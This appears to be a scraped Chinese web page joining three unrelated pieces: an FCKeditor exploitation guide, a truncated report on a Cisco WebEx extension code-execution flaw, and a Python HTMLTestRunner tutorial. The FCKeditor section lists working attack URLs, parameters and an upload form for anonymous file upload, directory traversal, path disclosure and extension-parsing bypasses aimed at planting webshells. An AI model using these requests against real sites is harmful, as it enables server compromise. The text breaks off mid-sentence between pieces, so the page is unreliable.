整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

编辑器漏洞详解

编辑器漏洞详解

、FCKeditor

编辑器页

FCKeditor/_samples/default.html
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
fckeditor/editor/filemanager/connectors/test.html

FCKeditor 查看编辑器版本

FCKeditor/_whatsnew.html

FCKeditor V2.43 版本

FCKeditor/editor/filemanager/browser/default/connectors/php/config.php

FCKeditor V2.6.6版本

FCKeditor/editor/filemanager/connectors/asp/config.php

FCKeditor 匿名上传文件

影响版本:非优化/精简版本的FCKeditor

脆弱描述:

如果存在以下文件,打开后即可上传文件。

攻击利用:

FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

FCKeditor 查看文件上传路径

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

XML页面中第二行 url=/xxx的部分就是默认基准上传路径

Note:

[Hell1]截至2010年02月15日最新版本为FCKeditor v2.6.6

[Hell2]记得修改其中两处asp为FCKeditor实际使用的脚本语言

FCKeditor被动限制策略所导致的过滤不严问题

影响版本: FCKeditor x.x <=FCKeditor v2.4.3

脆弱描述:FCKeditor v2.4.3中File类别默认拒绝上传类型

html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

Fckeditor 2.0 <=2.2

允许上传asa、cer、php2、php4、inc、pwml、pht后缀的文件

上传后 它保存的文件直接用的

$sFilePath=$sServerDir . $sFileName

而没有使用$sExtension为后缀。直接导致在win下在上传文件后面加个.来突破[未测试]。而在apache下,因为”Apache文件名解析缺陷漏洞”也可以利用

附:

A – Apache文件名解析缺陷漏洞

测试环境:apache 2.0.53 winxp,apache 2.0.52 redhat linux

1.国外(SSR TEAM)发了多个advisory称Apache’s MIME module (mod_mime)相关漏洞,就是attack.php.rar会被当做php文件执行的漏洞,包括Discuz!那个p11.php.php.php.php.php.php.php.php.php.php.php.php.rar漏洞。

2.S4T的superhei在blog上发布了这个apache的小特性,即apache 是从后面开始检查后缀,按最后一个合法后缀执行。其实只要看一下apache的htdocs那些默认安装的index.XX文件就明白了。

3.可以充分利用在上传漏洞上,列举如下

  • 典型型:rar
  • 备份型:bak,lock
  • 流媒体型:wma,wmv,asx,as,mp4,rmvb
  • 微软型:sql,chm,hlp,shtml,asp
  • 任意型:test,fake,ph4nt0m
  • 特殊型:torrent
  • 程序型:jsp,c,cpp,pl,cgi

利用2003路径解析漏洞上传木马

影响版本

安装了iis6的服务器(windows2003),受影响的文件名后缀有.asp .asa .cdx .cer .pl .php .cgi

脆弱描述:

利用2003系统路径解析漏洞的原理,创建类似bin.asp如此一般的目录,再在此目录中上传文件即可被脚本解释器以相应脚本权限执行。

攻击利用:

fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp

强制建立shell.asp目录:

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684

或者

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

FCKeditor PHP上传任意文件漏洞

影响版本: FCKeditor 2.2 <=FCKeditor 2.4.2

脆弱描述:

FCKeditor在处理文件上传时存在输入验证错误,远程攻击可以利用此漏洞上传任意文件。

在通过editor/filemanager/upload/php/upload.php上传文件时攻击者可以通过为Type参数定义无效的值导致上传任意脚本。

成功攻击要求config.php配置文件中启用文件上传,而默认是禁用的。攻击利用:

<form id="frmUpload" enctype="multipart/form-data"
action="http://****XXXX/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

PS:如想尝试v2.2版漏洞,则修改Type=任意值 即可,但注意,如果换回使用Media则必须大写首字母M,否则LINUX下,FCKeditor会对文件目录进行文件名校验,不会上传成功的。

FCKeditor 暴路径漏洞

影响版本:aspx版FCKeditor

攻击利用:

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/1.asp

FCKeditor 文件上传“.”变“_”下划线的绕过方法(一)

影响版本: FCKeditor=> 2.4.x

脆弱描述:

我们上传的文件例如:shell.php.rar或shell.php;.jpg会变为shell_php;.jpg这是新版FCK的变化。

攻击利用:

提交1.php+空格 绕过

ps:※空格只支持win系统

unix是不支持的[1.php和1.php+空格是2个不同的文件]

FCKeditor 文件上传“.”变“_”下划线的绕过方法(二)

影响版本:=>2.4.x的最新版已修补

来源:T00LS.Net大佬的解释

由于Fckeditor对第一次上传123.asp;123.jpg 这样的格式做了过滤。也就是IIS6解析漏洞。

上传第一次。被过滤为123_asp;123.jpg 从而无法运行。

但是第2次上传同名文件123.asp;123.jpg后。由于”123_asp;123.jpg”已经存在。

文件名被命名为123.asp;123(1).jpg …… 123.asp;123(2).jpg这样的编号方式。

所以。IIS6的漏洞继续执行了。

如果通过上面的步骤进行测试没有成功,可能有以下几方面的原因:

1.FCKeditor没有开启文件上传功能,这项功能在安装FCKeditor时默认是关闭的。如果想上传文件,FCKeditor会给出错误提示。

2.网站采用了精简版的FCKeditor,精简版的FCKeditor很多功能丢失,包括文件上传功能。

3.FCKeditor的这个漏洞已经被修复。

FCKeditor 新闻组件遍历目录漏洞

影响版本:Aspx与JSP版FCKeditor

脆弱描述:Getshell请参考“TYPE自定义变量任意上传文件漏洞”

攻击利用:

修改CurrentFolder参数使用 …/…/来进入不同的目录

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp

根据返回的XML信息可以查看网站所有的目录

/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

TYPE自定义变量任意上传文件漏洞

链接上一段

影响版本: 较早版本

脆弱描述:

通过自定义Type变量的参数,可以创建或上传文件到指定的目录中去,且没有上传文件格式的限制。

攻击利用:

直接修改上传类型参数 直接上传 getshell

/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp

打开这个地址就可以上传任何类型的文件了,Shell上传到的默认位置是:

http://XXXXX/UserFiles/all/1.asp

解释: Type=all 这个变量是自定义的,在这里创建了all这个目录,而且新的目录没有上传文件格式的限制.

例如:

网马就可以传到网站的根目录下.

/FCKeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.asp

如找不到默认上传文件夹可检查此文件:

isco的WebEx extension(jlhmfgmfgeifomenelglieieghnjghma)拥有约2,000万活跃用户,并且它也是思科Webex视频会议系统重要的组成部分。

该扩展适用于包含magic模式“cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html”的任何URL,可以从扩展清单中提取。 请注意,该模式内嵌在iframe中,因此不需要用户有更多的交互,只需要访问网站就可以了。

该扩展使用nativeMessaging,所以这个magic字符串可以让任何网站执行任意代码!

这个扩展使用的协议很复杂,使用CustomEvent()对象,在Web页面中和本机代码之间传递JSON消息。

在初始化的过程中,网站使用该扩展发起请求打开一个端口进行通信,如下所示:

然后消息可以通过 "message" 事件传递到native code。 注意,这里不能是MessageEvent()对象,并且不能使用postMessage API,它们必须是CustomEvent()对象。

有几种不同的消息类型,例如“hello”,“disconnect”等。最有趣的是“launch_meeting”类型:

使用该扩展进行视频会议的过程中,我dump了初始化消息:

有大量的属性,很多属性都有可能存在代码执行的问题,下面这些是我挑出来的一些:

将这些字符串解码,如下所示:

这看起来像某种奇怪的脚本语言。 'HWND'的存在表明这是与native code交互,如果我dump atmccli.DLL的导出:

看起来像在该脚本语言中调用的函数。 是否可以在这里找一些突破口?

我注意到,他们提供一个CRT(微软的C Runtime,包含像printf,malloc等标准例程)的副本,所以我试图调用标准_wsystem()routime(像system(),除了WCHAR字符串),像这样 :

难以置信,居然执行成功了!

完整EXP

作者上传了一个测试页面到如下地址,这个地址是安全的,没有其他非法代码执行,仅会弹出一个计算器。

https://lock.cmpxchg8b.com/ieXohz9t/

如果需要测试,你仅需提供姓名、email,不需要注册即可在下面中测试:

https://www.webex.com/test-meeting.html

该漏洞超过90天漏洞公开原则期限,官方尚未提供补丁,故细节得以公开。

安全客建议


更新官方1.0.3版本:

https://chrome.google.com/webstore/detail/cisco-webex-extension/jlhmfgmfgeifomenelglieieghnjghma?hl=zh-CN

但由于安全社区对该补丁的有效性尚存一定的疑虑,我们建议安装了Webex的用户,(hao)暂(hao)时(guo)禁(nian)用(bie)其(wan)浏(dian)览(nao)器(jiu)插(xing)件。

载地址HTMLTestRunner.py文件:

http://tungwaiyip.info/software/HTMLTestRunner.html

下载的适合python2,如果python3要修改一些内容

首先吧HTMLTestRunner文件添加到环境变量里,可以直接放到python的Lib目录下

HTMLTestRunner是python标准库unittest单元测试框架的一个扩展,用于生成HTML测试报告


生成HTML测试报告

#coding:utf-8
import unittest, HTMLTestRunner

class Testcase(unittest.TestCase): # 测试用例类
# 具体的测试用例,一定要以test开头
def test1(self):
self.assertEqual(1, 1)

def test2(self):
self.assertEqual(2, 2)

if __name__=="__main__":
# 构造测试集
suite=unittest.TestSuite()
suite.addTest(unittest.makeSuite(Testcase)) # 执行该测试类所有用例

# 定义报告的存放路径,以二进制写的形式打开文件
f=open('test.html', 'wb')

# 定义测试报告,stream:报告存放路径,title:报告标题,description:描述
runner=HTMLTestRunner.HTMLTestRunner(stream=f, title=
u'测试用例标题', description=u'描述')
runner.run(suite) # 运行测试用例
f.close() # 关闭文件


返回结果(测试报告详情):

--stream :存放报告写入文件的存入区域

--title :测试报告的主题

--description :测试报告的描述


报告用例类和用例方法加备注

为了生成带有中文描述的测试用例类和测试用例

在用例类和用例方法下,通过’’’ ‘’’或””” “””来添加备注

#coding:utf-8
import unittest, HTMLTestRunner

class Testcase(unittest.TestCase): # 测试用例类
u'''类名后加备注'''

def test1(self):
u'''用例后面加备注1'''
self.assertEqual(1, 1)

def test2(self):
u'''用例后面加备注2'''
self.assertEqual(2, 2)

if __name__=="__main__":
# 构造测试集
suite=unittest.TestSuite()
suite.addTest(unittest.makeSuite(Testcase))

# 定义报告的存放路径,以二进制写的形式打开文件
f=open('test.html', 'wb')

# 定义测试报告,stream:报告存放路径,title:报告标题,description:描述
runner=HTMLTestRunner.HTMLTestRunner(stream=f, title=
u'测试用例标题', description=u'描述')
runner.run(suite) # 运行测试用例
f.close() # 关闭文件


返回结果:

测试报告文件名

#coding:utf-8
import unittest, HTMLTestRunner, time
from unittest.loader import makeSuite

class Testcase(unittest.TestCase): # 测试用例类
# 具体的测试用例,一定要以test开头
def test1(self):
self.assertEqual(1, 1)

def test2(self):
self.assertEqual(2, 2)

if __name__=="__main__":
# 构造测试集
suite=unittest.TestSuite()
suite.addTest(makeSuite(Testcase)) # 执行该测试类所有用例

# 定义报告的存放路径,以二进制写的形式打开文件
now=time.strftime("%y-%m-%d %H_%M_%S")
f=open('./' + now + 'test.html', 'wb')

# 定义测试报告,stream:报告存放路径,title:报告标题,description:描述
runner=HTMLTestRunner.HTMLTestRunner(stream=f, title=
u'测试用例标题', description=u'描述')
runner.run(suite) # 运行测试用例
f.close() # 关闭文件


返回结果:


测试报告乱码问题


将红框里的内容注释掉改成uo=o.decode('utf-8')